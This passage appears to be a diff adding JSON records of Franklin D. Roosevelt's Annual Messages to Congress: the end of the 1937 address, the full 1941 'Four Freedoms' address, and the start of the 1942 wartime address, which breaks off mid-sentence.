+    "speech": "Mr. President, Mr. Speaker, Members of the Congress of the United States:For the first time in our national history a President delivers his Annual\nMessage to a new Congress within a fortnight of the expiration of his term\nof office. While there is no change in the Presidency this year, change\nwill occur in future years. It is my belief that under this new\nconstitutional practice, the President should in every fourth year, in so\nfar as seems reasonable, review the existing state of our national affairs\nand outline broad future problems, leaving specific recommendations for\nfuture legislation to be made by the President about to be inaugurated.At this time, however, circumstances of the moment compel me to ask your\nimmediate consideration of: First, measures extending the life of certain\nauthorizations and powers which, under present statutes, expire within a\nfew weeks; second, an addition to the existing Neutrality Act to cover\nspecific points raised by the unfortunate civil strife in Spain; and,\nthird, a deficiency appropriation bill for which I shall submit estimates\nthis week.In March, 1933, the problems which faced our Nation and which only our\nnational Government had the resources to meet were more serious even than\nappeared on the surface.It was not only that the visible mechanism of economic life had broken\ndown. More disturbing was the fact that long neglect of the needs of the\nunderprivileged had brought too many of our people to the verge of doubt as\nto the successful adaptation of our historic traditions to the complex\nmodern world. In that lay a challenge to our democratic form of Government\nitself.Ours was the task to prove that democracy could be made to function in the\nworld of today as effectively as in the simpler world of a hundred years\nago. Ours was the task to do more than to argue a theory. The times\nrequired the confident answer of performance to those whose instinctive\nfaith in humanity made them want to believe that in the long run democracy\nwould prove superior to more extreme forms of Government as a process of\ngetting action when action was wisdom, without the spiritual sacrifices\nwhich those other forms of Government exact.That challenge we met. To meet it required unprecedented activities under\nFederal leadership to end abuses, to restore a large measure of material\nprosperity, to give new faith to millions of our citizens who had been\ntraditionally taught to expect that democracy would provide continuously\nwider opportunity and continuously greater security in a world where\nscience was continuously making material riches more available to man.In the many methods of attack with which we met these problems, you and I,\nby mutual understanding and by determination to cooperate, helped to make\ndemocracy succeed by refusing to permit unnecessary disagreement to arise\nbetween two of our branches of Government. That spirit of cooperation was\nable to solve difficulties of extraordinary magnitude and ramification with\nfew important errors, and at a cost cheap when measured by the immediate\nnecessities and the eventual results.I look forward to a continuance of that cooperation in the next four years.\nI look forward also to a continuance of the basis of that cooperation--\nmutual respect for each other's proper sphere of functioning in a democracy\nwhich is working well, and a common-sense realization of the need for play\nin the joints of the machine.On that basis, it is within the right of the Congress to determine which of\nthe many new activities shall be continued or abandoned, increased or\ncurtailed.On that same basis, the President alone has the responsibility for their\nadministration. I find that this task of Executive management has reached\nthe point where our administrative machinery needs comprehensive\noverhauling. I shall, therefore, shortly address the Congress more fully in\nregard to modernizing and improving the Executive branch of the\nGovernment.That cooperation of the past four years between the Congress and the\nPresident has aimed at the fulfillment of a twofold policy: first, economic\nrecovery through many kinds of assistance to agriculture, industry and\nbanking; and, second, deliberate improvement in the personal security and\nopportunity of the great mass of our people.The recovery we sought was not to be merely temporary. It was to be a\nrecovery protected from the causes of previous disasters. With that aim in\nview--to prevent a future similar crisis--you and I joined in a series of\nenactments--safe banking and sound currency, the guarantee of bank deposits,\nprotection for the investor in securities, the removal of the threat of\nagricultural surpluses, insistence on collective bargaining, the outlawing\nof sweat shops, child labor and unfair trade practices, and the beginnings\nof security for the aged and the worker.Nor was the recovery we sought merely a purposeless whirring of machinery.\nIt is important, of course, that every man and woman in the country be able\nto find work, that every factory run, that business and farming as a whole\nearn profits. But Government in a democratic Nation does not exist solely,\nor even primarily, for that purpose.It is not enough that the wheels turn. They must carry us in the direction\nof a greater satisfaction in life for the average man. The deeper purpose\nof democratic government is to assist as many of its citizens as possible,\nespecially those who need it most, to improve their conditions of life, to\nretain all personal liberty which does not adversely affect their\nneighbors, and to pursue the happiness which comes with security and an\nopportunity for recreation and culture.Even with our present recovery we are far from the goal of that deeper\npurpose. There are far-reaching problems still with us for which democracy\nmust find solutions if it is to consider itself successful.For example, many millions of Americans still live in habitations which not\nonly fail to provide the physical benefits of modern civilization but breed\ndisease and impair the health of future generations. The menace exists not\nonly in the slum areas of the very large cities, but in many smaller cities\nas well. It exists on tens of thousands of farms, in varying degrees, in\nevery part of the country.Another example is the prevalence of an un-American type of tenant farming.\nI do not suggest that every farm family has the capacity to earn a\nsatisfactory living on its own farm. But many thousands of tenant farmers,\nindeed most of them, with some financial assistance and with some advice\nand training, can be made self-supporting on land which can eventually\nbelong to them. The Nation would be wise to offer them that chance instead\nof permitting them to go along as they do now, year after year, with\nneither future security as tenants nor hope of ownership of their homes nor\nexpectation of bettering the lot of their children.Another national problem is the intelligent development of our social\nsecurity system, the broadening of the services it renders, and practical\nimprovement in its operation. In many Nations where such laws are in\neffect, success in meeting the expectations of the community has come\nthrough frequent amendment of the original statute.And, of course, the most far-reaching and the most inclusive problem of all\nis that of unemployment and the lack of economic balance of which\nunemployment is at once the result and the symptom. The immediate question\nof adequate relief for the needy unemployed who are capable of performing\nuseful work, I shall discuss with the Congress during the coming months.\nThe broader task of preventing unemployment is a matter of long-range\nevolutionary policy. To that we must continue to give our best thought and\neffort. We cannot assume that immediate industrial and commercial activity\nwhich mitigates present pressures justifies the national Government at this\ntime in placing the unemployment problem in a filing cabinet of finished\nbusiness.Fluctuations in employment are tied to all other wasteful fluctuations in\nour mechanism of production and distribution. One of these wastes is\nspeculation. In securities or commodities, the larger the volume of\nspeculation, the wider become the upward and downward swings and the more\ncertain the result that in the long run there will be more losses than\ngains in the underlying wealth of the community.And, as is now well known to all of us, the same net loss to society comes\nfrom reckless overproduction and monopolistic underproduction of natural\nand manufactured commodities.Overproduction, underproduction and speculation are three evil sisters who\ndistill the troubles of unsound inflation and disastrous deflation. It is\nto the interest of the Nation to have Government help private enterprise to\ngain sound general price levels and to protect those levels from wide\nperilous fluctuations. We know now that if early in 1931 Government had\ntaken the steps which were taken two and three years later, the depression\nwould never have reached the depths of the beginning of 1933.Sober second thought confirms most of us in the belief that the broad\nobjectives of the National Recovery Act were sound. We know now that its\ndifficulties arose from the fact that it tried to do too much. For example,\nit was unwise to expect the same agency to regulate the length of working\nhours, minimum wages, child labor and collective bargaining on the one hand\nand the complicated questions of unfair trade practices and business\ncontrols on the other.The statute of N.R.A. has been outlawed. The problems have not. They are\nstill with us.That decent conditions and adequate pay for labor, and just return for\nagriculture, can be secured through parallel and simultaneous action by\nforty-eight States is a proven impossibility. It is equally impossible to\nobtain curbs on monopoly, unfair trade practices and speculation by State\naction alone. There are those who, sincerely or insincerely, still cling to\nState action as a theoretical hope. But experience with actualities makes\nit clear that Federal laws supplementing State laws are needed to help\nsolve the problems which result from modern invention applied in an\nindustrialized Nation which conducts its business with scant regard to\nState lines.During the past year there has been a growing belief that there is little\nfault to be found with the Constitution of the United States as it stands\ntoday. The vital need is not an alteration of our fundamental law, but an\nincreasingly enlightened view with reference to it. Difficulties have grown\nout of its interpretation; but rightly considered, it can be used as an\ninstrument of progress, and not as a device for prevention of action.It is worth our while to read and reread the preamble of the Constitution,\nand Article I thereof which confers the legislative powers upon the\nCongress of the United States. It is also worth our while to read again the\ndebates in the Constitutional Convention of one hundred and fifty years\nago. From such reading, I obtain the very definite thought that the members\nof that Convention were fully aware that civilization would raise problems\nfor the proposed new Federal Government, which they themselves could not\neven surmise; and that it was their definite intent and expectation that a\nliberal interpretation in the years to come would give to the Congress the\nsame relative powers over new national problems as they themselves gave to\nthe Congress over the national problems of their day.In presenting to the Convention the first basic draft of the Constitution,\nEdmund Randolph explained that it was the purpose \"to insert essential\nprinciples only, lest the operation of government should be clogged by\nrendering those provisions permanent and unalterable which ought to be\naccommodated to times and events.\"With a better understanding of our purposes, and a more intelligent\nrecognition of our needs as a Nation, it is not to be assumed that there\nwill be prolonged failure to bring legislative and judicial action into\ncloser harmony. Means must be found to adapt our legal forms and our\njudicial interpretation to the actual present national needs of the largest\nprogressive democracy in the modern world.That thought leads to a consideration of world problems. To go no further\nback than the beginning of this century, men and women everywhere were\nseeking conditions of life very different from those which were customary\nbefore modern invention and modern industry and modern communications had\ncome into being. The World war, for all of its tragedy, encouraged these\ndemands, and stimulated action to fulfill these new desires.Many national Governments seemed unable adequately to respond; and, often\nwith the improvident assent of the masses of the people themselves, new\nforms of government were set up with oligarchy taking the place of\ndemocracy. In oligarchies, militarism has leapt forward, while in those\nNations which have retained democracy, militarism has waned.I have recently visited three of our sister Republics in South America. The\nvery cordial receptions with which I was greeted were in tribute to\ndemocracy. To me the outstanding observation of that visit was that the\nmasses of the peoples of all the Americas are convinced that the democratic\nform of government can be made to succeed and do not wish to substitute for\nit any other form of government. They believe that democracies are best\nable to cope with the changing problems of modern civilization within\nthemselves, and that democracies are best able to maintain peace among\nthemselves.The Inter-American Conference, operating on these fundamental principles of\ndemocracy, did much to assure peace in this Hemisphere. Existing peace\nmachinery was improved. New instruments to maintain peace and eliminate\ncauses of war were adopted. Wider protection of the interests of the\nAmerican Republics in the event of war outside the Western Hemisphere was\nprovided. Respect for, and observance of, international treaties and\ninternational law were strengthened. Principles of liberal trade policies,\nas effective aids to the maintenance of peace, were reaffirmed. The\nintellectual and cultural relationships among American Republics were\nbroadened as a part of the general peace program.In a world unhappily thinking in terms of war, the representatives of\ntwenty-one Nations sat around a table, in an atmosphere of complete\nconfidence and understanding, sincerely discussing measures for maintaining\npeace. Here was a great and a permanent achievement directly affecting the\nlives and security of the two hundred and fifty million human beings who\ndwell in this Western Hemisphere. Here was an example which must have a\nwholesome effect upon the rest of the world.In a very real sense, the Conference in Buenos Aires sent forth a message\non behalf of all the democracies of the world to those Nations which live\notherwise. Because such other Governments are perhaps more spectacular, it\nwas high time for democracy to assert itself.Because all of us believe that our democratic form of government can cope\nadequately with modern problems as they arise, it is patriotic as well as\nlogical for us to prove that we can meet new national needs with new laws\nconsistent with an historic constitutional framework clearly intended to\nreceive liberal and not narrow interpretation.The United States of America, within itself, must continue the task of\nmaking democracy succeed.In that task the Legislative branch of our Government will, I am confident,\ncontinue to meet the demands of democracy whether they relate to the\ncurbing of abuses, the extension of help to those who need help, or the\nbetter balancing of our interdependent economies.So, too, the Executive branch of the Government must move forward in this\ntask, and, at the same time, provide better management for administrative\naction of all kinds.The Judicial branch also is asked by the people to do its part in making\ndemocracy successful. We do not ask the Courts to call non-existent powers\ninto being, but we have a right to expect that conceded powers or those\nlegitimately implied shall be made effective instruments for the common\ngood.The process of our democracy must not be imperiled by the denial of\nessential powers of free government.Your task and mine is not ending with the end of the depression. The people\nof the United States have made it clear that they expect us to continue our\nactive efforts in behalf of their peaceful advancement.In that spirit of endeavor and service I greet the 75th Congress at the\nbeginning of this auspicious New Year.", 
+    "name": "Franklin D. Roosevelt"
+}
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+{
+    "date": "January 6, 1941", 
+    "speech": "Mr. President, Mr. Speaker, Members of the Seventy-seventh Congress:I address you, the Members of the Seventy-seventh Congress, at a moment\nunprecedented in the history of the Union. I use the word \"unprecedented,\"\nbecause at no previous time has American security been as seriously\nthreatened from without as it is today.Since the permanent formation of our Government under the Constitution, in\n1789, most of the periods of crisis in our history have related to our\ndomestic affairs. Fortunately, only one of these--the four-year War Between\nthe States--ever threatened our national unity. Today, thank God, one\nhundred and thirty million Americans, in forty-eight States, have forgotten\npoints of the compass in our national unity.It is true that prior to 1914 the United States often had been disturbed by\nevents in other Continents. We had even engaged in two wars with European\nnations and in a number of undeclared wars in the West Indies, in the\nMediterranean and in the Pacific for the maintenance of American rights and\nfor the principles of peaceful commerce. But in no case had a serious\nthreat been raised against our national safety or our continued\nindependence.What I seek to convey is the historic truth that the United States as a\nnation has at all times maintained clear, definite opposition, to any\nattempt to lock us in behind an ancient Chinese wall while the procession\nof civilization went past. Today, thinking of our children and of their\nchildren, we oppose enforced isolation for ourselves or for any other part\nof the Americas.That determination of ours, extending over all these years, was proved, for\nexample, during the quarter century of wars following the French\nRevolution.While the Napoleonic struggles did threaten interests of the United States\nbecause of the French foothold in the West Indies and in Louisiana, and\nwhile we engaged in the War of 1812 to vindicate our right to peaceful\ntrade, it is nevertheless clear that neither France nor Great Britain, nor\nany other nation, was aiming at domination of the whole world.In like fashion from 1815 to 1914--ninety-nine years--no single war in\nEurope or in Asia constituted a real threat against our future or against\nthe future of any other American nation.Except in the Maximilian interlude in Mexico, no foreign power sought to\nestablish itself in this Hemisphere; and the strength of the British fleet\nin the Atlantic has been a friendly strength. It is still a friendly\nstrength.Even when the World War broke out in 1914, it seemed to contain only small\nthreat of danger to our own American future. But, as time went on, the\nAmerican people began to visualize what the downfall of democratic nations\nmight mean to our own democracy.We need not overemphasize imperfections in the Peace of Versailles. We need\nnot harp on failure of the democracies to deal with problems of world\nreconstruction. We should remember that the Peace of 1919 was far less\nunjust than the kind of \"pacification\" which began even before Munich, and\nwhich is being carried on under the new order of tyranny that seeks to\nspread over every continent today. The American people have unalterably set\ntheir faces against that tyranny.Every realist knows that the democratic way of life is at this moment\nbeing directly assailed in every part of the world--assailed either by\narms, or by secret spreading of poisonous propaganda by those who seek to\ndestroy unity and promote discord in nations that are still at peace.During sixteen long months this assault has blotted out the whole pattern\nof democratic life in an appalling number of independent nations, great and\nsmall. The assailants are still on the march, threatening other nations,\ngreat and small.Therefore, as your President, performing my constitutional duty to \"give to\nthe Congress information of the state of the Union,\" I find it, unhappily,\nnecessary to report that the future and the safety of our country and of\nour democracy are overwhelmingly involved in events far beyond our\nborders.Armed defense of democratic existence is now being gallantly waged in four\ncontinents. If that defense fails, all the population and all the resources\nof Europe, Asia, Africa and Australasia will be dominated by the\nconquerors. Let us remember that the total of those populations and their\nresources in those four continents greatly exceeds the sum total of the\npopulation and the resources of the whole of the Western Hemisphere--many\ntimes over.In times like these it is immature--and incidentally, untrue--for anybody to\nbrag that an unprepared America, single-handed, and with one hand tied\nbehind its back, can hold off the whole world.No realistic American can expect from a dictator's peace international\ngenerosity, or return of true independence, or world disarmament, or\nfreedom of expression, or freedom of religion--or even good business.Such a peace would bring no security for us or for our neighbors. \"Those,\nwho would give up essential liberty to purchase a little temporary safety,\ndeserve neither liberty nor safety.\"As a nation, we may take pride in the fact that we are softhearted; but we\ncannot afford to be soft-headed.We must always be wary of those who with sounding brass and a tinkling\ncymbal preach the \"ism\" of appeasement.We must especially beware of that small group of selfish men who would clip\nthe wings of the American eagle in order to feather their own nests.I have recently pointed out how quickly the tempo of modern warfare could\nbring into our very midst the physical attack which we must eventually\nexpect if the dictator nations win this war.There is much loose talk of our immunity from immediate and direct invasion\nfrom across the seas. Obviously, as long as the British Navy retains its\npower, no such danger exists. Even if there were no British Navy, it is not\nprobable that any enemy would be stupid enough to attack us by landing\ntroops in the United States from across thousands of miles of ocean, until\nit had acquired strategic bases from which to operate.But we learn much from the lessons of the past years in Europe--particularly\nthe lesson of Norway, whose essential seaports were captured by treachery\nand surprise built up over a series of years.The first phase of the invasion of this Hemisphere would not be the landing\nof regular troops. The necessary strategic points would be occupied by\nsecret agents and their dupes--and great numbers of them are already here,\nand in Latin America.As long as the aggressor nations maintain the offensive, they--not we--will\nchoose the time and the place and the method of their attack.That is why the future of all the American Republics is today in serious\ndanger.That is why this Annual Message to the Congress is unique in our history.That is why every member of the Executive Branch of the Government and\nevery member of the Congress faces great responsibility and great\naccountability.The need of the moment is that our actions and our policy should be devoted\nprimarily--almost exclusively--to meeting this foreign peril. For all our\ndomestic problems are now a part of the great emergency.Just as our national policy in internal affairs has been based upon a\ndecent respect for the rights and the dignity of all our fellow men within\nour gates, so our national policy in foreign affairs has been based on a\ndecent respect for the rights and dignity of all nations, large and small.\nAnd the justice of morality must and will win in the end.Our national policy is this:First, by an impressive expression of the public will and without regard to\npartisanship, we are committed to all-inclusive national defense.Second, by an impressive expression of the public will and without regard\nto partisanship, we are committed to full support of all those resolute\npeoples, everywhere, who are resisting aggression and are thereby keeping\nwar away from our Hemisphere. By this support, we express our determination\nthat the democratic cause shall prevail; and we strengthen the defense and\nthe security of our own nation.Third, by an impressive expression of the public will and without regard to\npartisanship, we are committed to the proposition that principles of\nmorality and considerations for our own security will never permit us to\nacquiesce in a peace dictated by aggressors and sponsored by appeasers. We\nknow that enduring peace cannot be bought at the cost of other people's\nfreedom.In the recent national election there was no substantial difference between\nthe two great parties in respect to that national policy. No issue was\nfought out on this line before the American electorate. Today it is\nabundantly evident that American citizens everywhere are demanding and\nsupporting speedy and complete action in recognition of obvious danger.Therefore, the immediate need is a swift and driving increase in our\narmament production.Leaders of industry and labor have responded to our summons. Goals of speed\nhave been set. In some cases these goals are being reached ahead of time;\nin some cases we are on schedule; in other cases there are slight but not\nserious delays; and in some cases--and I am sorry to say very important\ncases--we are all concerned by the slowness of the accomplishment of our\nplans.The Army and Navy, however, have made substantial progress during the past\nyear. Actual experience is improving and speeding up our methods of\nproduction with every passing day. And today's best is not good enough for\ntomorrow.I am not satisfied with the progress thus far made. The men in charge of\nthe program represent the best in training, in ability, and in patriotism.\nThey are not satisfied with the progress thus far made. None of us will be\nsatisfied until the job is done.No matter whether the original goal was set too high or too low, our\nobjective is quicker and better results. To give you two illustrations:We are behind schedule in turning out finished airplanes; we are working\nday and night to solve the innumerable problems and to catch up.We are ahead of schedule in building warships but we are working to get\neven further ahead of that schedule.To change a whole nation from a basis of peacetime production of implements\nof peace to a basis of wartime production of implements of war is no small\ntask. And the greatest difficulty comes at the beginning of the program,\nwhen new tools, new plant facilities, new assembly lines, and new ship ways\nmust first be constructed before the actual materiel begins to flow\nsteadily and speedily from them.The Congress, of course, must rightly keep itself informed at all times of\nthe progress of the program. However, there is certain information, as the\nCongress itself will readily recognize, which, in the interests of our own\nsecurity and those of the nations that we are supporting, must of needs be\nkept in confidence.New circumstances are constantly begetting new needs for our safety. I\nshall ask this Congress for greatly increased new appropriations and\nauthorizations to carry on what we have begun.I also ask this Congress for authority and for funds sufficient to\nmanufacture additional munitions and war supplies of many kinds, to be\nturned over to those nations which are now in actual war with aggressor\nnations.Our most useful and immediate role is to act as an arsenal for them as well\nas for ourselves. They do not need man power, but they do need billions of\ndollars worth of the weapons of defense.The time is near when they will not be able to pay for them all in ready\ncash. We cannot, and we will not, tell them that they must surrender,\nmerely because of present inability to pay for the weapons which we know\nthey must have.I do not recommend that we make them a loan of dollars with which to pay\nfor these weapons--a loan to be repaid in dollars.I recommend that we make it possible for those nations to continue to\nobtain war materials in the United States, fitting their orders into our\nown program. Nearly all their materiel would, if the time ever came, be\nuseful for our own defense.Taking counsel of expert military and naval authorities, considering what\nis best for our own security, we are free to decide how much should be kept\nhere and how much should be sent abroad to our friends who by their\ndetermined and heroic resistance are giving us time in which to make ready\nour own defense.For what we send abroad, we shall be repaid within a reasonable time\nfollowing the close of hostilities, in similar materials, or, at our\noption, in other goods of many kinds, which they can produce and which we\nneed.Let us say to the democracies: \"We Americans are vitally concerned in your\ndefense of freedom. We are putting forth our energies, our resources and\nour organizing powers to give you the strength to regain and maintain a\nfree world. We shall send you, in ever-increasing numbers, ships, planes,\ntanks, guns. This is our purpose and our pledge.\"In fulfillment of this purpose we will not be intimidated by the threats of\ndictators that they will regard as a breach of international law or as an\nact of war our aid to the democracies which dare to resist their\naggression. Such aid is not an act of war, even if a dictator should\nunilaterally proclaim it so to be.When the dictators, if the dictators, are ready to make war upon us, they\nwill not wait for an act of war on our part. They did not wait for Norway\nor Belgium or the Netherlands to commit an act of war.Their only interest is in a new one-way international law, which lacks\nmutuality in its observance, and, therefore, becomes an instrument of\noppression.The happiness of future generations of Americans may well depend upon how\neffective and how immediate we can make our aid felt. No one can tell the\nexact character of the emergency situations that we may be called upon to\nmeet. The Nation's hands must not be tied when the Nation's life is in\ndanger.We must all prepare to make the sacrifices that the emergency--almost as\nserious as war itself--demands. Whatever stands in the way of speed and\nefficiency in defense preparations must give way to the national need.A free nation has the right to expect full cooperation from all groups. A\nfree nation has the right to look to the leaders of business, of labor, and\nof agriculture to take the lead in stimulating effort, not among other\ngroups but within their own groups.The best way of dealing with the few slackers or trouble makers in our\nmidst is, first, to shame them by patriotic example, and, if that fails, to\nuse the sovereignty of Government to save Government.As men do not live by bread alone, they do not fight by armaments alone.\nThose who man our defenses, and those behind them who build our defenses,\nmust have the stamina and the courage which come from unshakable belief in\nthe manner of life which they are defending. The mighty action that we are\ncalling for cannot be based on a disregard of all things worth fighting\nfor.The Nation takes great satisfaction and much strength from the things which\nhave been done to make its people conscious of their individual stake in\nthe preservation of democratic life in America. Those things have toughened\nthe fibre of our people, have renewed their faith and strengthened their\ndevotion to the institutions we make ready to protect.Certainly this is no time for any of us to stop thinking about the social\nand economic problems which are the root cause of the social revolution\nwhich is today a supreme factor in the world.For there is nothing mysterious about the foundations of a healthy and\nstrong democracy. The basic things expected by our people of their\npolitical and economic systems are simple. They are:Equality of opportunity for youth and for others.Jobs for those who can work.Security for those who need it.The ending of special privilege for the few.The preservation of civil liberties for all.The enjoyment of the fruits of scientific progress in a wider and\nconstantly rising standard of living.These are the simple, basic things that must never be lost sight of in the\nturmoil and unbelievable complexity of our modern world. The inner and\nabiding strength of our economic and political systems is dependent upon\nthe degree to which they fulfill these expectations.Many subjects connected with our social economy call for immediate\nimprovement.As examples:We should bring more citizens under the coverage of old-age pensions and\nunemployment insurance.We should widen the opportunities for adequate medical care.We should plan a better system by which persons deserving or needing\ngainful employment may obtain it.I have called for personal sacrifice. I am assured of the willingness of\nalmost all Americans to respond to that call.A part of the sacrifice means the payment of more money in taxes. In my\nBudget Message I shall recommend that a greater portion of this great\ndefense program be paid for from taxation than we are paying today. No\nperson should try, or be allowed, to get rich out of this program; and the\nprinciple of tax payments in accordance with ability to pay should be\nconstantly before our eyes to guide our legislation.If the Congress maintains these principles, the voters, putting patriotism\nahead of pocketbooks, will give you their applause.In the future days, which we seek to make secure, we look forward to a\nworld founded upon four essential human freedoms.The first is freedom of speech and expression--everywhere in the world.The second is freedom of every person to worship God in his own\nway--everywhere in the world.The third is freedom from want--which, translated into world terms, means\neconomic understandings which will secure to every nation a healthy\npeacetime life for its inhabitants--everywhere in the world.The fourth is freedom from fear--which, translated into world terms, means a\nworld-wide reduction of armaments to such a point and in such a thorough\nfashion that no nation will be in a position to commit an act of physical\naggression against any neighbor--anywhere in the world.That is no vision of a distant millennium. It is a definite basis for a\nkind of world attainable in our own time and generation. That kind of world\nis the very antithesis of the so-called new order of tyranny which the\ndictators seek to create with the crash of a bomb.To that new order we oppose the greater conception--the moral order. A good\nsociety is able to face schemes of world domination and foreign revolutions\nalike without fear.Since the beginning of our American history, we have been engaged in\nchange--in a perpetual peaceful revolution--a revolution which goes on\nsteadily, quietly adjusting itself to changing conditions--without the\nconcentration camp or the quick-lime in the ditch. The world order which we\nseek is the cooperation of free countries, working together in a friendly,\ncivilized society.This nation has placed its destiny in the hands and heads and hearts of its\nmillions of free men and women; and its faith in freedom under the guidance\nof God. Freedom means the supremacy of human rights everywhere. Our support\ngoes to those who struggle to gain those rights or keep them. Our strength\nis our unity of purpose. To that high concept there can be no end save\nvictory.", 
+    "name": "Franklin D. Roosevelt"
+}
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+{
+    "date": "January 6, 1942", 
+    "speech": "In fulfilling my duty to report upon the State of the Union, I am proud to\nsay to you that the spirit of the American people was never higher than it\nis today--the Union was never more closely knit together--this country was\nnever more deeply determined to face the solemn tasks before it.The response of the American people has been instantaneous, and it will be\nsustained until our security is assured.Exactly one year ago today I said to this Congress: \"When the dictators. . .\nare ready to make war upon us, they will not wait for an act of war on\nour part. . . . They--not we--will choose the time and the place and the\nmethod of their attack.\"We now know their choice of the time: a peaceful Sunday morning--December\n7, 1941.We know their choice of the place: an American outpost in the Pacific.We know their choice of the method: the method of Hitler himself.Japan's scheme of conquest goes back half a century. It was not merely a\npolicy of seeking living room: it was a plan which included the subjugation\nof all the peoples in the Far East and in the islands of the Pacific, and\nthe domination of that ocean by Japanese military and naval control of the\nwestern coasts of North, Central, and South America.The development of this ambitious conspiracy was marked by the war against\nChina in 1894; the subsequent occupation of Korea; the war against Russia\nin 1904; the illegal fortification of the mandated Pacific islands\nfollowing 1920; the seizure of Manchuria in 1931; and the invasion of China\nin 1937.A similar policy of criminal conquest was adopted by Italy. The Fascists\nfirst revealed their imperial designs in Libya and Tripoli. In 1935 they\nseized Abyssinia. Their goal was the domination of all North Africa, Egypt,\nparts of France, and the entire Mediterranean world.But the dreams of empire of the Japanese and Fascist leaders were modest in\ncomparison with the gargantuan aspirations of Hitler and his Nazis. Even\nbefore they came to power in 1933, their plans for that conquest had been\ndrawn. Those plans provided for ultimate domination, not of any one section\nof the world, but of the whole earth and all the oceans on it.When Hitler organized his Berlin-Rome-Tokyo alliance, all these plans of\nconquest became a single plan. Under this, in addition to her own schemes\nof conquest, Japan's role was obviously to cut off our supply of weapons of\nwar to Britain, and Russia and China--weapons which increasingly were\nspeeding the day of Hitler's doom. The act of Japan at Pearl Harbor was\nintended to stun us--to terrify us to such an extent that we would divert\nour industrial and military strength to the Pacific area, or even to our\nown continental defense.The plan has failed in its purpose. We have not been stunned. We have not\nbeen terrified or confused. This very reassembling of the Seventy-seventh\nCongress today is proof of that; for the mood of quiet, grim resolution\nwhich here prevails bodes ill for those who conspired and collaborated to\nmurder world peace.That mood is stronger than any mere desire for revenge. It expresses the\nwill of the American people to make very certain that the world will never\nso suffer again.Admittedly, we have been faced with hard choices. It was bitter, for\nexample, not to be able to relieve the heroic and historic defenders of\nWake Island. It was bitter for us not to be able to land a million men in a\nthousand ships in the Philippine Islands.But this adds only to our determination to see to it that the Stars and\nStripes will fly again over Wake and Guam. Yes, see to it that the brave\npeople of the Philippines will be rid of Japanese imperialism; and will\nlive in freedom, security, and independence.Powerful and offensive actions must and will be taken in proper time. The\nconsolidation of the United Nations' total war effort against our common\nenemies is being achieved.That was and is the purpose of conferences which have been held during the\npast two weeks in Washington, and Moscow and Chungking. That is the primary\nobjective of the declaration of solidarity signed in Washington on January\n1, 1942, by 26 Nations united against the Axis powers.Difficult choices may have to be made in the months to come. We do not\nshrink from such decisions. We and those united with us will make those\ndecisions with courage and determination.Plans have been laid here and in the other capitals for coordinated and\ncooperative action by all the United Nations--military action and economic\naction. Already we have established, as you know, unified command of land,\nsea, and air forces in the southwestern Pacific theater of war. There will\nbe a continuation of conferences and consultations among military staffs,\nso that the plans and operations of each will fit into the general strategy\ndesigned to crush the enemy. We shall not fight isolated wars--each Nation\ngoing its own way. These 26 Nations are united--not in spirit and\ndetermination alone, but in the broad conduct of the war in all its\nphases.For the first time since the Japanese and the Fascists and the Nazis\nstarted along their blood-stained course of conquest they now face the fact\nthat superior forces are assembling against them. Gone forever are the days\nwhen the aggressors could attack and destroy their victims one by one\nwithout unity of resistance. We of the United Nations will so dispose our\nforces that we can strike at the common enemy wherever the greatest damage\ncan be done him.The militarists of Berlin and Tokyo started this war. But the massed,\nangered forces of common humanity will finish it.Destruction of the material and spiritual centers of civilization--this has\nbeen and still is the purpose of Hitler and his Italian and Japanese\nchessmen. They would wreck the power of the British Commonwealth and Russia\nand China and the Netherlands--and then combine all their forces to achieve\ntheir ultimate goal, the conquest of the United States.They know that victory for us means victory for freedom.They know that victory for us means victory for the institution of\ndemocracy--the ideal of the family, the simple principles of common decency\nand humanity.They know that victory for us means victory for religion. And they could\nnot tolerate that. The world is too small to provide adequate \"living room\"\nfor both Hitler and God. In proof of that, the Nazis have now announced\ntheir plan for enforcing their new German, pagan religion all over the\nworld--a plan by which the Holy Bible and the Cross of Mercy would be\ndisplaced by Mein Kampf and the swastika and the naked sword.Our own objectives are clear; the objective of smashing the militarism\nimposed by war lords upon their enslaved peoples the objective of\nliberating the subjugated Nations--the objective of establishing and\nsecuring freedom of speech, freedom of religion, freedom from want, and\nfreedom from fear everywhere in the world.We shall not stop short of these objectives--nor shall we be satisfied\nmerely to gain them and then call it a day. I know that I speak for the\nAmerican people--and I have good reason to believe that I speak also for\nall the other peoples who fight with us--when I say that this time we are\ndetermined not only to win the war, but also to maintain the security of\nthe peace that will follow.But we know that modern methods of warfare make it a task, not only of\nshooting and fighting, but an even more urgent one of working and\nproducing.Victory requires the actual weapons of war and the means of transporting\nthem to a dozen points of combat.It will not be sufficient for us and the other United Nations to produce a\nslightly superior supply of munitions to that of Germany, Japan, Italy, and\nthe stolen industries in the countries which they have overrun.The superiority of the United Nations in munitions and ships must be\noverwhelming--so overwhelming that the Axis Nations can never hope to catch\nup with it. And so, in order to attain this overwhelming superiority the\nUnited States must build planes and tanks and guns and ships to the utmost\nlimit of our national capacity. We have the ability and capacity to produce\narms not only for our own forces, but also for the armies, navies, and air\nforces fighting on our side.And our overwhelming superiority of armament must be adequate to put\nweapons of war at the proper time into the hands of those men in the\nconquered Nations who stand ready to seize the first opportunity to revolt\nagainst their German and Japanese oppressors, and against the traitors in\ntheir own ranks, known by the already infamous name of \"Quislings.\" And I\nthink that it is a fair prophecy to say that, as we get guns to the\npatriots in those lands, they too will fire shots heard 'round the world.This production of ours in the United States must be raised far above\npresent levels, even though it will mean the dislocation of the lives and\noccupations of millions of our own people. We must raise our sights all\nalong the production line. Let no man say it cannot be done. It must be\ndone--and we have undertaken to do it.I have just sent a letter of directive to the appropriate departments and\nagencies of our Government, ordering that immediate steps be taken:First, to increase our production rate of airplanes so rapidly that in this\nyear, 1942, we shall produce 60,000 planes, 10,000 more than the goal that\nwe set a year and a half ago. This includes 45,000 combat planes--bombers,\ndive bombers, pursuit planes. The rate of increase will be maintained and\ncontinued so that next year, 1943, we shall produce 125,000 airplanes,\nincluding 100,000 combat planes.Second, to increase our production rate of tanks so rapidly that in this\nyear, 1942, we shall produce 45,000 tanks; and to continue that increase so\nthat next year, 1943, we shall produce 75,000 tanks.Third, to increase our production rate of anti-aircraft guns so rapidly\nthat in this year, 1942, we shall produce 20,000 of them; and to continue\nthat increase so that next year, 1943, we shall produce 35,000\nanti-aircraft guns.And fourth, to increase our production rate of merchant ships so rapidly\nthat in this year, 1942, we shall build 6,000,000 deadweight tons as\ncompared with a 1941 completed production of 1,100,000. And finally, we\nshall continue that increase so that next year, 1943, we shall build\n10,000,000 tons of shipping.These figures and similar figures for a multitude of other implements of\nwar will give the Japanese and the Nazis a 